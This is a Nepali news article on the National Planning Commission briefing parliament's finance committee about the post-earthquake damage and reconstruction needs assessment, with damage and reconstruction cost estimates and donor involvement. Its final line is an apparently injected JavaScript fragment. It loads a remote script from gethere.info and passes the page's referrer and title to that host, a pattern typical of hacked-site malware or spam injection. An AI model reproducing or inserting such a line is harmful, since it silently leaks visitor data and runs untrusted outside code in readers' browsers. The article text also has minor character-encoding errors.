राष्ट्रिय योजना आयोगले भूकम्पबाट भएको क्षति र पुनःनिर्माणका लागि आवश्यकताको मूल्याङ्कनसम्बन्धी प्रतिवेदन (पिडिएनए)बारे सभासदहरुलाई जानकारी गराएको छ। संबिधानसभाभबन नया बानेश्वरमा आईतबार बसको व्यवस्थापिका–संसद् अन्र्गतको अर्थ समितिको बैठकमा राष्ट्रिय योजना आयोगका तर्फबाट नेपाल सरकारले तयार गरिरहेको उक्त प्रतिवेदनबारे जानकारी गराएको हो। भूकम्पपछिको उद्धार र राहत, जनजीवन सामान्यीकरण, असरको आँकलन र मूल्याङ्कन तथा पुनःस्थापना, पुनःनिर्माण र नवनिर्माण गरी चार चरणमा कार्यबिभाजन गरेर कार्यसम्पादन गर्ने प्रयासमा सरकार रहेको छ।

भूकम्पबाट प्रभावित जिल्लाको भौगर्भिक अध्ययन र नक्साङ्कनका लागि दुई सय जना इन्जिनियरले प्रभावित जिल्लामा गएर काम गरिरकेको सो अवसरमा जानकारी दिइयो। प्रतिवेदन तयारका क्रममा विगतमा विभिन्न मुलुकमा भूकम्पले पारेको प्रभाव र त्यसपछिको पुनःनिर्माणबारे जानकारी हासिल गरेका व्यक्ति र संस्थाको राय सुझाव लिइने जानकारी दिइएको थियो। आयोगले तयार पारेको पिडिएनए प्रतिवेदनमाथि केन्द्रित रहेर सभासद्हरु शक्तिबहादुर बस्नेत, शेरबहादुर तामाङ, चन्द्र भण्डारीलगायतले जिल्लाको हालको विद्यमान सरकारी संयन्त्रबाट नवनिर्माणको जिम्मेवारी पूरा हुन नसक्ने भएकाले केन्द्रदेखि स्थानीय तहसम्म छुट्टै संयन्त्र अत्यावश्यक रहेको बताउनुभयो।

नेपालको विकासमा महत्वपूर्ण सहयोग पु¥याउँदै आएका जापानी अन्तर्रा्ष्ट्रिय सहयोग नियोग (जाइका), युरोपेली सङ्घ, विश्व बंैक लगायतले पनि उक्त प्रतिवेदन तयार पार्न सहयोग पु¥याउने छन्। चालु आर्थिक वर्षमा पाँच प्रतिशत आर्थिक वृद्धिको लक्ष्यको नजिक रहेको बेला भूकम्पले तहसनहस पारेपछि सो लक्ष्यलाई तीन प्रतिशतमा सीमित रहन पुगेको छ। भूकम्पबाट रु पाँच खर्ब १३ अर्बको क्षति भएको प्रारम्भिक अनुमान गरिएकामा रु छ खर्ब ६६ अर्ब तत्काल पुनःनिर्माणका लागि लाग्ने आयोगले ठहर गरेको छ।

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;